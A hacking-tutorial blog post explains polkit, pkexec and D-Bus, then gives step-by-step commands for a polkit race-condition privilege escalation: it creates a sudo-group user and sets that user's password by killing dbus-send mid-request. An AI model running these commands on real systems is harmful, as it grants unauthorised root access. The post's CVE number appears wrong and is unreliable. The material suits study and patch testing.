Introduction
According to
Red Hat, “Polkit stands for PolicyKit which is a framework that provides an
authorization API used by privileged programs.” Pkexec is a tool in PolicyKit
or polkit that allows a user to run a command as a different user. This
vulnerability tricks polkit into bypassing the credential checks for
D-Bus requests, elevating the privileges of the requestor to the root user. It
was discovered by Kevin Backhouse and can be read here.
Table of Content
·
Polkit, pkexec and dbus
·
Background of CVE 2021-3506
·
Exploitation of CVE
2021-3506
·
Conclusion
polkit, pkexec, and dbus
Polkit and pkexec: PolicyKit is also known as
polkit in linux systems. It is an authorization API used by programs to elevate
its permissions to that of an elevated user and run processes as elevated user
(root, generally). If the user is not specified it tries to run that command as
root user. Sudo does the same thing in terms that it lets a user run commands
as root, however, with pkexec, admins can finely control the execution of
particular programs by defining policies for it. Sudo has no restriction and a user
may run any command as an elevated user given he knows the password. Pkexec
also takes some effort in setting up but Debian variants, including the popular
Ubuntu, comes with polkit and pkexec pre-installed. These authorization rules for
third party packages are defined in *.rules JavaScript files kept in the
directory /usr/share/polkit-1/rules.d/
While authorization rules for local customization are stored in /etc/polkit-1/
You would observe *.conf files here. Conf and pkla files used to exist
before *.rules and are there for backwards compatibility reasons.
dbus: dbus is a message system for
applications to talk to one another (known as IPC or interprocess
communication). This was developed as part of the freedesktop.org project. A
basic dbus command to list system services looks like:
dbus-send --system --dest=org.freedesktop.DBus
--type=method_call --print-reply \
/org/freedesktop/DBus org.freedesktop.DBus.ListNames
In this demo, we’ll be using dbus to trigger pkexec from command line.
You can read more about dbus here.
Background of CVE 2021-3506
Polkit is a background process that
allows authorization but it has a graphical prompt that Ubuntu users must be
familiar with. It looks like this:
However, polkit is executed in
text mode too while using text-mode session, for example, while using ssh.
ssh pentest@192.168.1.141
pkexec sh
As you can see, pkexec has now
been executed in CLI.
Now getting back to dbus here. It
is an IPC agent which can help us to send commands or messages to other
processes and communicate with them. To perform operations, dbus has various
service files configured which reference the absolute paths of executables or
daemons that are to be triggered. For system processes, dbus stores service
files in /usr/share/dbus-1/system-services. Here, you can see we see contents
of hostname.service which performs hostname modification operations in Ubuntu
and Accounts.service which triggers accounts-daemon to perform user
addition/modification options.
So, dbus can be used to execute a
command and request polkit’s authorization for it. Each interface and method
has its own XML configuration file that will reveal what parameters dbus sends
to it while executing. We won’t get into that right now.
Kevin Backhouse posted this article where he detected a vulnerability in polkit
that can be triggered by running dbus-send command but killing it while polkit
is still executing it and execution isn’t complete. In this demonstration we
will be creating a new user in the system without root password. For that we
would first launch a text-only session using ssh and then the dbus-send command:
dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite
string:"ignite user" int32:1
--system: sends message to the
system bus
--dest: name of the connection
(interface) that receives the message
--type: method_call means a
system function with arguments being passed
--print-reply: prints the output
in human readable format
/org/freedesktop/Accounts: This
is the function that will be used
org.freedesktop.Accounts.CreateUser:
Method that will be used. Here, createuser method is used which will
essentially create a new user with the name specified in string 1. String 2 is
the name (“ignite user”) that will be visible in the system. int32 is an
integer argument the method takes in that specifies the type of account encoded
as an integer.
You can find the configuration
xml file for this method here.
But this will fail as
authentication is required for us to create a new user.
Exploitation of CVE 2021-3506
For the exploit to work, we need
to kill the command while it is being executed. For this we need to check the
time it takes to execute this command.
time dbus-send
--system --dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite
string:"ignite user" int32:1
As you can see, it takes me 0.008
seconds to execute this command. So, I need to kill my payload before 0.008
seconds for it to work.
Kevin mentions a user can hit
CTRL+C quickly and it should work but better leave it to a simple inline bash
script to kill process in 0.0035 seconds. Note that we tried a lot of times and
the time needed to run was different every time. So, you would need to
experiment with it too and see which time suits you and would let the exploit
run properly. Here
dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:ignite
string:"ignite user" int32:1 & sleep 0.0035s ; kill $!
We ran the same command about 5-7
times before our user ignite got created! What’s more is that ignite is a
member of sudo group!
How did it work? Dbus assings a unique ID to any connection. Polkit
verifies that Unique ID and provides authorization. Let’s say the UID is 1.87.
Since, the connection breaks in between, polkit recognizes the UID as 0 and
considers the request coming from root. Hence, this is how the exploit works.
We can check the /etc/passwd for
its validity. Also, as you can see the uid is 1001 here.
tail -n 3 /etc/passwd
Next, we need to supply in the
password using dbus so that we can use this newly created user. We need to
generate a hashed password as dbus-send takes in hashed password as input.
openssl passwd -5
ignite@123
This would generate a hash in
SHA-256 format. We can use any other encryption too as per the system
configuration.
Now we need to pass this hash in
User.SetPassword function using dbus under a string parameter. The payload
looks like:
dbus-send --system
--dest=org.freedesktop.Accounts --type=method_call --print-reply
/org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword
string:'$5$F2KwiUlWkn2i8DC.$rw9AOjKsmK83DhncqehVUzOKVqq.ArwS2G8eQKVntv7'
string:BestHackingTutorials & sleep 0.0035s ; kill $!
Here, User.SetPassword has been used. Two parameters are passed. First
string is the hashed credential and the second string: “BestHackingTutorials”
is the password hint. This can be changed too.
We need to send this command 6-7
times for this to run. We can login to this user now.
su ignite
password: ignite@123
whoami
id
You can escalate your privileges
by sudo bash as user ignite is a member of the sudo group.
Conclusion
Polkit is a pre-installed package
in Linux distros. Any system running polkit version < 0.119 is vulnerable to
privilege escalation through this method. It has high impact rating and
exploitation is fairly easy as no exploit development knowledge is required.
Hope you enjoyed the article. Thanks for reading.
0 comments:
Post a Comment